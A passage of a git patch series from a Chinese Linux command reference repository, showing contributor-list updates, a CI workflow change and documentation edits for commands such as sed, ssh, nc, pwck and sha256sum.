ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1 +;; OPT PSEUDOSECTION: +; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: -;www.jsdig.com. IN A +;www.baidu.com. IN A ;; ANSWER SECTION: -www.jsdig.com. 0 IN CNAME host.1.jsdig.com. -host.1.jsdig.com. 0 IN A 100.42.212.8 - -;; AUTHORITY SECTION: -jsdig.com. 8 IN NS f1g1ns2.dnspod.net. -jsdig.com. 8 IN NS f1g1ns1.dnspod.net. - -;; Query time: 0 msec -;; SERVER: 202.96.104.15#53(202.96.104.15) -;; WHEN: Thu Dec 26 11:14:37 2013 -;; MSG SIZE rcvd: 121 +www.baidu.com. 963 IN CNAME www.a.shifen.com. +www.a.shifen.com. 63 IN A 180.101.50.242 +www.a.shifen.com. 63 IN A 180.101.50.188 + +;; Query time: 14 msec +;; SERVER: 119.29.29.29#53(119.29.29.29) +;; WHEN: Wed May 10 16:16:36 CST 2023 +;; MSG SIZE rcvd: 101 ``` From 87d739984b8f9b9d0bccbe13aae5780f40e8a110 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 10 May 2023 08:18:06 +0000 Subject: [PATCH 167/570] doc: update README.md. --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 8391e7f5e66..d0deeb61a02 100644 --- a/README.md +++ b/README.md @@ -421,8 +421,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 loverainye - - Han Rui + + rgshare dulltackle From 9e039408a1bdd59bda9c9cdf4d7f863ecfae7836 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 10 May 2023 08:18:07 +0000 Subject: [PATCH 168/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index e813f0b10b2..ebf31f52eca 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -57,8 +57,8 @@ loverainye - - Han Rui + + rgshare dulltackle From e653d3ffac1267694c03cba427e439f4cbc57836 Mon Sep 17 00:00:00 2001 From: BingCoke <81607010+BingCoke@users.noreply.github.com> Date: Mon, 22 May 2023 18:15:24 +0800 Subject: [PATCH 169/570] doc: Update iostat.md (#498) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit iostat的util参数解读有误。参照于man手册 Percentage of elapsed time during which I/O requests were issued to the device (bandwidth utilization for the device). Device saturation occurs when this value is close to 100% for devices serving requests serially.But for devices serving requests in parallel, such as RAID arrays and modern SSDs, this number does not reflect their performance limits. --- command/iostat.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/iostat.md b/command/iostat.md index 12de5a3b6c1..0bf3d25e003 100644 --- a/command/iostat.md +++ b/command/iostat.md @@ -69,6 +69,6 @@ avgrq-sz | 需求的平均大小区段 avgqu-sz | 需求的平均队列长度 await | 等待I/O平均的时间（milliseconds） svctm | I/O需求完成的平均时间 -%util | 被I/O需求消耗的CPU百分比 +%util | 设备带宽的使用率，达到100%表示饱和，达到性能瓶颈，如果是支持处理并发请求的设备则不代表性能瓶颈。 From a60a7274e734c74426165520d5a784aaff67a613 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 22 May 2023 10:16:00 +0000 Subject: [PATCH 170/570] doc: update README.md. --- README.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index d0deeb61a02..801640b244f 100644 --- a/README.md +++ b/README.md @@ -463,6 +463,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Wang Jianing + + BingCoke + DaYangtuo247 @@ -514,8 +517,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Lucien - - M4n5ter + + Wang mwei From 092e446af140d52ac4bd9899bf157d7a49c8ff71 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 22 May 2023 10:16:00 +0000 Subject: [PATCH 171/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index ebf31f52eca..b4f3d43a495 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -99,6 +99,9 @@ Wang Jianing + + BingCoke + DaYangtuo247 @@ -150,8 +153,8 @@ Lucien - - M4n5ter + + Wang mwei From 98dd113b9d60eeb84b9a74953c9678d03e8270a9 Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Tue, 23 May 2023 10:33:40 +0800 Subject: [PATCH 172/570] chore(deps): update dependency markdown-to-html-cli to ~3.6.0 (#499) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index c19b98c24b0..d433f151451 100644 --- a/package.json +++ b/package.json @@ -31,7 +31,7 @@ "ejs": "~3.1.6", "compressing": "^1.6.2", "fs-extra": "~10.1.0", - "markdown-to-html-cli": "~3.5.0", + "markdown-to-html-cli": "~3.6.0", "sitemap-generator": "~8.5.1", "sqlite3": "5.0.8", "stylus": "~0.59.0", From 5a20430770c75404cdba49530146c40df3e1d4fe Mon Sep 17 00:00:00 2001 From: Joke-csgo <61868296+Joke-csgo@users.noreply.github.com> Date: Wed, 24 May 2023 13:20:28 +0800 Subject: [PATCH 173/570] doc: Update yum.md (#500) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 新增参数provides --- command/yum.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/command/yum.md b/command/yum.md index 0b69f542bb2..806bf8a3972 100644 --- a/command/yum.md +++ b/command/yum.md @@ -44,7 +44,8 @@ shell：进入yum的shell提示符； resolvedep：显示rpm软件包的依赖关系； localinstall：安装本地的rpm软件包； localupdate：显示本地rpm软件包进行更新； -deplist：显示rpm软件包的所有依赖关系。 +deplist：显示rpm软件包的所有依赖关系； +provides：查询某个程序所在安装包。 ``` ### 实例 From 5ecc63422b8c9846a3c1df746296b518ab97b2b8 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 24 May 2023 05:21:07 +0000 Subject: [PATCH 174/570] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 801640b244f..8143f99b6da 100644 --- a/README.md +++ b/README.md @@ -499,6 +499,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Jeremy2214 + + Joke-csgo + LaudOak From a00bd774e0a746a61a1608c3603f7ec49bb2b02b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 24 May 2023 05:21:07 +0000 Subject: [PATCH 175/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index b4f3d43a495..3b63b34d3f8 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -135,6 +135,9 @@ Jeremy2214 + + Joke-csgo + LaudOak From dfedd5c605237dd6239775b1566939bcd7507a59 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 24 May 2023 14:13:44 +0800 Subject: [PATCH 176/570] chore: update workflows config. (#460) --- .github/workflows/ci.yml | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 743bbe950f6..6da96c07d75 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -44,7 +44,6 @@ jobs: npm install npm run dash cp CONTRIBUTORS.svg .deploy - rm -rf .deploy/linux-command.docset - name: Create Tag id: create_tag @@ -60,15 +59,6 @@ jobs: run: | echo "${{steps.create_tag.outputs.versionNumber}}https://jaywcjlove.github.io/linux-command/linux-command.docset.tgz" > .deploy/linux-command-docset.xml - - name: Deploy - uses: peaceiris/actions-gh-pages@v3 - with: - commit_message: '[${{steps.tag_version.outputs.tag}}] ${{ github.event.head_commit.message }}' - github_token: ${{ secrets.GITHUB_TOKEN }} - publish_dir: ./.deploy - user_name: github-actions[bot] - user_email: github-actions[bot]@users.noreply.github.com - - name: Generate Changelog id: changelog uses: jaywcjlove/changelog-generator@main @@ -122,6 +112,17 @@ jobs: http://localhost:9665/ ``` + - run: rm -rf .deploy/linux-command.docset + + - name: Deploy + uses: peaceiris/actions-gh-pages@v3 + with: + commit_message: '[${{steps.tag_version.outputs.tag}}] ${{ github.event.head_commit.message }}' + github_token: ${{ secrets.GITHUB_TOKEN }} + publish_dir: ./.deploy + user_name: github-actions[bot] + user_email: github-actions[bot]@users.noreply.github.com + - run: npm publish continue-on-error: true name: 📦 linux-command publish to NPM From 023ce79173ee6097c1be0074c20fb19f7dd1e669 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 24 May 2023 14:20:17 +0800 Subject: [PATCH 177/570] released v1.16.0 (#460) --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index d433f151451..75b6e12c54d 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.15.0", + "version": "1.16.0", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From 8b3e8f621bad587099cf1c210ac4ac30fdbdcd85 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Thu, 25 May 2023 09:35:07 +0800 Subject: [PATCH 178/570] doc: Update sed.md (#503) --- command/sed.md | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) diff --git a/command/sed.md b/command/sed.md index 949cde4b185..108fa1c44f6 100644 --- a/command/sed.md +++ b/command/sed.md @@ -223,6 +223,7 @@ ifconfig ens32 | sed -n '/inet /p' | sed 's/inet \([0-9.]\+\).*/\1/' ``` ### 大小写转换U/L + ```shell \u： 首字母转换为大写 \U： 全部转换为大写 @@ -250,14 +251,26 @@ BIN:x:1:1:bin:/bin:/sbin/nologin ### 组合多个表达式 +1. 替换文本中的多个字符串： + ```shell -sed '表达式' | sed '表达式' +sed -e 's/old_string/new_string/g' -e 's/another_old_string/another_new_string/g' file.txt +``` -等价于： +2. 删除文本中的多个行： -sed '表达式; 表达式' +```shell +sed -e '1d' -e '/pattern/d' file.txt ``` +3. 在文本中插入多个行： + +```shell +sed -e '1i\inserted_line1' -e '2i\inserted_line2' file.txt +``` + +其中，-e 表示指定一个表达式，多个表达式之间用 -e 分隔。每个表达式可以是一个 sed 命令，例如 s、d、i 等。 + ### 引用 sed表达式可以使用单引号来引用，但是如果表达式内部包含变量字符串，就需要使用双引号。 From 92fe14ab820ffc64edf66d9a1a3412d49ab5e769 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Sat, 27 May 2023 09:12:26 +0800 Subject: [PATCH 179/570] doc: Update rsync.md fix #504 --- command/rsync.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/rsync.md b/command/rsync.md index 9132b1ecb35..669ca60caa6 100644 --- a/command/rsync.md +++ b/command/rsync.md @@ -51,7 +51,7 @@ rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST] -D, --devices 保持设备文件信息。 -t, --times 保持文件时间信息。 -S, --sparse 对稀疏文件进行特殊处理以节省DST的空间。 --n, --dry-run现实哪些文件将被传输。 +-n, --dry-run 显示哪些文件将被传输。 -w, --whole-file 拷贝文件，不进行增量检测。 -x, --one-file-system 不要跨越文件系统边界。 -B, --block-size=SIZE 检验算法使用的块尺寸，默认是700字节。 From f260eb1ec3631f6d1b05c9cc5eab723d13bae0b4 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 27 May 2023 01:13:09 +0000 Subject: [PATCH 180/570] doc: update README.md. --- README.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 8143f99b6da..da5e3239be7 100644 --- a/README.md +++ b/README.md @@ -499,8 +499,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Jeremy2214 - - Joke-csgo + + Nexchard LaudOak @@ -565,8 +565,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Spaghetti-C - - iwangjie + + Na Meng Wingrez From 7e5938af498cfabbf34bcf3d2beb5ef5f435fe2c Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 27 May 2023 01:13:10 +0000 Subject: [PATCH 181/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 3b63b34d3f8..084cb670451 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -135,8 +135,8 @@ Jeremy2214 - - Joke-csgo + + Nexchard LaudOak @@ -201,8 +201,8 @@ Spaghetti-C - - iwangjie + + Na Meng Wingrez From 119f80ab2419773f11c462c72c202aebb7fa959b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Sat, 27 May 2023 11:55:21 +0800 Subject: [PATCH 182/570] Update ssh.md --- command/ssh.md | 49 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) diff --git a/command/ssh.md b/command/ssh.md index c4cbcdd5cb6..4b3750a4753 100644 --- a/command/ssh.md +++ b/command/ssh.md @@ -58,6 +58,55 @@ ssh-keygen -f keyfile -i -m key_format -e -m key_format # key_format: RFC4716/SS ssh-copy-id user@ip:port # 将当前用户的公钥复制到需要 ssh 的服务器的 ~/.ssh/authorized_keys，之后可以免密登录 ``` +连接远程服务器 + +```shell +ssh username@remote_host +``` + +2. 连接远程服务器并指定端口 + +```shell +ssh -p port username@remote_host +``` + +使用密钥文件连接远程服务器 + +```shell +ssh -i path/to/private_key username@remote_host +``` + +在本地执行远程命令 + +```shell +ssh username@remote_host "command" +``` + +在本地复制文件到远程服务器 + +```shell +scp path/to/local_file username@remote_host:/path/to/remote_directory +``` + +在远程服务器复制文件到本地 + +```shell +scp username@remote_host:/path/to/remote_file path/to/local_directory +``` + +在本地端口转发到远程服务器 + +```shell +ssh -L local_port:remote_host:remote_port username@remote_host +``` + +在远程服务器端口转发到本地 + +```shell +ssh -R remote_port:local_host:local_port username@remote_host +``` + + ### 背后故事 > 英文：Tatu Ylonen From 512a35b99550f1c5559c1f0fb0f0dbda8eafbc9d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Sat, 27 May 2023 11:55:46 +0800 Subject: [PATCH 183/570] Update ssh.md --- command/ssh.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/ssh.md b/command/ssh.md index 4b3750a4753..0d9fdc39e2c 100644 --- a/command/ssh.md +++ b/command/ssh.md @@ -64,7 +64,7 @@ ssh-copy-id user@ip:port # 将当前用户的公钥复制到需要 ssh 的服务 ssh username@remote_host ``` -2. 连接远程服务器并指定端口 +连接远程服务器并指定端口 ```shell ssh -p port username@remote_host From 1abf91b1f58cc3c3c28cdfb571b533b2dac8e943 Mon Sep 17 00:00:00 2001 From: BingCoke <81607010+BingCoke@users.noreply.github.com> Date: Mon, 29 May 2023 12:18:54 +0800 Subject: [PATCH 184/570] doc: update pidstat.md (#505) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 错别字+使描述更准确 --- command/pidstat.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/command/pidstat.md b/command/pidstat.md index bb113b9acbf..b10e06e8be3 100644 --- a/command/pidstat.md +++ b/command/pidstat.md @@ -70,10 +70,10 @@ pidstat [ 选项 ] [ <时间间隔> ] [ <次数> ] ``` 表头字段说明 - PID：进程标识符 -- Minflt/s:任务每秒发生的次要错误，不需要从磁盘中加载页 -- Majflt/s:任务每秒发生的主要错误，需要从磁盘中加载页 +- Minflt/s:任务每秒发生的次要错误，不需要从磁盘中加载内存页 +- Majflt/s:任务每秒发生的主要错误，需要从磁盘中加载内存页 - VSZ：虚拟地址大小，虚拟内存的使用KB -- RSS：常驻集合大小，非交换区五里内存使用KB +- RSS：常驻集合大小，非交换区物理内存使用KB - Command：task命令名 #### 查看所有进程的IO使用情况 From 832bc5ff5ee7750e64a95cf52d39eb26275bfa5d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 29 May 2023 04:19:51 +0000 Subject: [PATCH 185/570] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index da5e3239be7..40e4b743b73 100644 --- a/README.md +++ b/README.md @@ -436,6 +436,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 谈笑风生间 + + BingCoke + Ein Verne @@ -463,9 +466,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Wang Jianing - - BingCoke - DaYangtuo247 From 82001fe7aa4d920dfd47150884bc18fd5266dfed Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 29 May 2023 04:19:52 +0000 Subject: [PATCH 186/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 084cb670451..ff7ebac7559 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -72,6 +72,9 @@ 谈笑风生间 + + BingCoke + Ein Verne @@ -99,9 +102,6 @@ Wang Jianing - - BingCoke - DaYangtuo247 From ea7767846ed3cde94ba4f35c5ec9d44ef838c29d Mon Sep 17 00:00:00 2001 From: T-TRz879 <614560331@qq.com> Date: Mon, 29 May 2023 22:48:33 +0800 Subject: [PATCH 187/570] doc: update top.md. (#506) --- command/top.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/command/top.md b/command/top.md index 0638d5ed09f..4bdea02c729 100644 --- a/command/top.md +++ b/command/top.md @@ -25,7 +25,8 @@ top(选项) -i<时间>：设置间隔时间； -u<用户名>：指定用户名； -p<进程号>：指定进程； --n<次数>：循环显示的次数。 +-n<次数>：循环显示的次数； +-H：所有线程占用资源情况。 ``` ### top交互命令 From ff2b4de52c06a8ef5f08a9159ed236ccd75b8fce Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 29 May 2023 14:49:07 +0000 Subject: [PATCH 188/570] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 40e4b743b73..d4cbc1d94c1 100644 --- a/README.md +++ b/README.md @@ -565,6 +565,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Spaghetti-C + + T-TRz879 + Na Meng From 257259f73cc8832d4f48261111652b20b4d00313 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 29 May 2023 14:49:07 +0000 Subject: [PATCH 189/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index ff7ebac7559..733263aae0e 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -201,6 +201,9 @@ Spaghetti-C + + T-TRz879 + Na Meng From f707705c4cbd370f719d6324d3815641b608b5b8 Mon Sep 17 00:00:00 2001 From: Alan <39884597+apnpc@users.noreply.github.com> Date: Tue, 30 May 2023 08:25:17 +0800 Subject: [PATCH 190/570] doc: update pwck (#507) Co-authored-by: Alan --- command/pwck.md | 35 +++++++++++++++-------------------- 1 file changed, 15 insertions(+), 20 deletions(-) diff --git a/command/pwck.md b/command/pwck.md index ec273e578a9..31c0fb2ee52 100644 --- a/command/pwck.md +++ b/command/pwck.md @@ -18,7 +18,8 @@ pwck(选项)(参数) ```shell -q：仅报告错误信息； -s：以用户id排序文件“/etc/passwd”和“/etc/shadow”; --r：只读方式运行指令。 +-r：只读方式运行指令； +-R：在指定的chroot环境下检查密码文件。 ``` ### 参数 @@ -29,24 +30,18 @@ pwck(选项)(参数) ### 实例 ```shell -pwck /etc/passwd -user 'lp': directory '/var/spool/lpd' does not exist -user 'news': directory '/var/spool/news' does not exist -user 'uucp': directory '/var/spool/uucp' does not exist -user 'www-data': directory '/var/www' does not exist -user 'list': directory '/var/list' does not exist -user 'irc': directory '/var/run/ircd' does not exist -user 'gnats': directory '/var/lib/gnats' does not exist -user 'nobody': directory '/nonexistent' does not exist -user 'syslog': directory '/home/syslog' does not exist -user 'couchdb': directory '/var/lib/couchdb' does not exist -user 'speech-dispatcher': directory '/var/run/speech-dispatcher' does not exist -user 'usbmux': directory '/home/usbmux' does not exist -user 'haldaemon': directory '/var/run/hald' does not exist -user 'pulse': directory '/var/run/pulse' does not exist -user 'saned': directory '/home/saned' does not exist -user 'hplip': directory '/var/run/hplip' does not exist -pwck：无改变 +pwck +user 'ftp': directory '/var/ftp' does not exist +pwck: no changes ``` +执行`pwck`命令后显示了一些警告，提示有用户`lp`的主目录 `/var/spool/lpd`不存在。为了解决这个问题，你有几个选项： +1. 如果你确定这些用户不会被使用，你可以考虑使用`userdel`命令来删除这些用户。 +2. 如果这些用户需要被使用，你应该创建相应的目录。例如，你可以使用以下命令： - +```shell +# 创建目录 +sudo mkdir /var/ftp +# 将目录的所有权赋给相应的用户 +sudo chown ftp:ftp /var/ftp +``` +3. 如果这些用户对应的软件包还未安装，你可以考虑安装它们。软件包管理器（如`yum`或`apt`）通常会自动创建必要的用户和目录。 From a3d9a7064ff175faecbff299350c109592d621be Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 30 May 2023 00:26:22 +0000 Subject: [PATCH 191/570] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index d4cbc1d94c1..eba935ca5ef 100644 --- a/README.md +++ b/README.md @@ -466,6 +466,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Wang Jianing + + Alan + DaYangtuo247 From c6c837f0cc2d6e6180b52bcfcd3f5ed927679e37 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 30 May 2023 00:26:23 +0000 Subject: [PATCH 192/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 733263aae0e..67491f155a9 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -102,6 +102,9 @@ Wang Jianing + + Alan + DaYangtuo247 From 1668d797e1297e93e3cf3400919171b8b3043662 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 1 Jun 2023 01:08:54 +0800 Subject: [PATCH 193/570] add sha256sum.md (#480) --- command/sh.md | 4 +-- command/sha256sum.md | 62 ++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 64 insertions(+), 2 deletions(-) create mode 100644 command/sha256sum.md diff --git a/command/sh.md b/command/sh.md index 5d843c41488..6983e2c3ea2 100644 --- a/command/sh.md +++ b/command/sh.md @@ -7,13 +7,13 @@ shell命令解释器 **sh命令** 是shell命令语言解释器，执行命令从标准输入读取或从一个文件中读取。通过用户输入命令，和内核进行沟通！Bourne Again Shell （即bash）是自由软件基金会（GNU）开发的一个Shell，它是Linux系统中一个默认的Shell。Bash不但与Bourne Shell兼容，还继承了C Shell、Korn Shell等优点。 -### 语法 +### 语法 ```shell bash [options] [file] ``` -### 选项 +### 选项 ```shell -c string：命令从-c后的字符串读取。 diff --git a/command/sha256sum.md b/command/sha256sum.md new file mode 100644 index 00000000000..eb8fd81725b --- /dev/null +++ b/command/sha256sum.md @@ -0,0 +1,62 @@ +sha256sum +=== + +用于计算文件的 SHA-256 哈希值 + +## 补充说明 + +**sha256sum命令** 是打印或检查 SHA256（256位）校验 + +### 语法 + +```shell +sha256sum [OPTION]... [FILE]... +``` + +### 选项 + +```shell +-b, --binary # 以二进制模式读取 +-c, --check # 从文件中读取 SHA256 校验和并进行检查 + --tag # 创建 BSD 风格的校验和 +-t, --text # 以文本模式读取（默认） +-z, --zero # 每行输出以 NUL 结尾，而不是换行符，并禁用文件名转义 + --help # 显示此帮助并退出 + --version # 输出版本信息并退出 +``` + +### 实例 + +以下是一些使用 sha256sum 命令的示例： + +1. 计算文件的 SHA-256 哈希值 + +``` +sha256sum file.txt +``` + +这将会输出文件 file.txt 的 SHA-256 哈希值和文件名。 + +2. 计算多个文件的 SHA-256 哈希值 + +``` +sha256sum file1.txt file2.txt +``` + +这将会输出文件 file1.txt 和 file2.txt 的 SHA-256 哈希值和文件名。 + +3. 将 SHA-256 哈希值保存到文件中 + +``` +sha256sum file.txt > hash.txt +``` + +这将会将文件 file.txt 的 SHA-256 哈希值保存到文件 hash.txt 中。 + +4. 验证文件的 SHA-256 哈希值 + +``` +sha256sum -c hash.txt +``` + +这将会验证文件的 SHA-256 哈希值是否与 hash.txt 中的值匹配。如果匹配，输出 OK，否则输出 FAILED。 \ No newline at end of file From d6bc27242a70df878f00bcc375aa2832fc256e55 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E9=A1=B9=E9=87=91?= Date: Sat, 3 Jun 2023 04:37:30 +0800 Subject: [PATCH 194/570] doc: Update nc.md (#509) * Update nc.md * Update nc.md * Update nc.md --- command/nc.md | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/command/nc.md b/command/nc.md index 100ff19fb71..6d1caeffe3f 100644 --- a/command/nc.md +++ b/command/nc.md @@ -1,11 +1,12 @@ nc === -用于设置路由器，是网络工具中的瑞士军刀。 +nc是网络工具中的瑞士军刀 ## 补充说明 -**nc命令** 全称**netcat**，用于设置路由器。它能通过 TCP 和 UDP 在网络中读写数据。通过与其他工具结合和重定向，你可以在脚本中以多种方式使用它。使用 netcat 命令所能完成的事情令人惊讶。 +**nc命令** 全称**netcat**，用于TCP、UDP或unix域套接字(uds)的数据流操作，它可以打开TCP连接，发送UDP数据包，监听任意TCP +和UDP端口，同时也可用作做端口扫描，支持IPv4和IPv6，与Telnet的不同在于nc可以编写脚本。 ### 语法 @@ -17,6 +18,10 @@ nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文 ### 选项 ```shell +-4 只使用IPV4 +-6 只使用IPV6 +-c 使用tls连接或者监听 +-D 启用socket调试开关 -g <网关> # 设置路由器跃程通信网关，最多可设置8个。 -G<指向器数目> # 设置来源路由指向器，其数值为4的倍数。 -h 在线帮助。 From 565a418e86ab49a44493576fc9c590c1c0646168 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 2 Jun 2023 20:38:12 +0000 Subject: [PATCH 195/570] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index eba935ca5ef..dba13599088 100644 --- a/README.md +++ b/README.md @@ -391,12 +391,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 烟草的香味 - - Glett - 项金 + + Glett + Jayin Taung From 3414d5d63432d67b3d3a4c7554bec3ee4dfb3aac Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 2 Jun 2023 20:38:12 +0000 Subject: [PATCH 196/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 67491f155a9..5ee4f6b0c59 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -27,12 +27,12 @@ 烟草的香味 - - Glett - 项金 + + Glett + Jayin Taung From 0b3986f2a04422ec087104a3396c2226def6f307 Mon Sep 17 00:00:00 2001 From: xhal <34055638+xhal@users.noreply.github.com> Date: Tue, 13 Jun 2023 16:01:10 +0800 Subject: [PATCH 197/570] doc: update 7z/ab document. (#511) --- command/7z.md | 11 ++++++++--- command/ab.md | 22 +++++++++++++++++++++- 2 files changed, 29 insertions(+), 4 deletions(-) diff --git a/command/7z.md b/command/7z.md index 1d4d88c4d2c..5533b4328af 100644 --- a/command/7z.md +++ b/command/7z.md @@ -1,5 +1,5 @@ 7z -=== +== 拥有极高压缩比的开源压缩软件。 @@ -11,6 +11,11 @@ # Ubuntu 系统 apt-get update apt-get install p7zip-full -y + +# CentOS 参考：https://linuxconfig.org/how-to-install-p7zip-on-redhat-8 +sudo yum install epel-release +yum install p7zip p7zip-plugins + ``` ## 实例 @@ -111,5 +116,5 @@ apt-get install p7zip-full -y ## 官网 -更多安装使用方法可以访问官网学习： -或者可以访问简体中文网站： +更多安装使用方法可以访问官网学习：[https://www.7-zip.org/](https://www.7-zip.org/) +或者可以访问简体中文网站：[https://sparanoid.com/lab/7z/](https://sparanoid.com/lab/7z/) diff --git a/command/ab.md b/command/ab.md index 38f32619152..b69cf45292a 100644 --- a/command/ab.md +++ b/command/ab.md @@ -1,8 +1,23 @@ ab -=== +== Apache服务器的性能测试工具 + +## 安装 + +若系统未安装，使用以下命令安装 + +```shell +# Ubuntu +sudo apt-get install apache2-utils + +# Centos +yum install httpd-tools + +``` + + ## 补充说明 **ab命令** 是一个测试你 Apache http 服务器的工具，你可以通过这个工具，指定一个单位时间内向 apache 发出的请求数量来看看你的 Apache 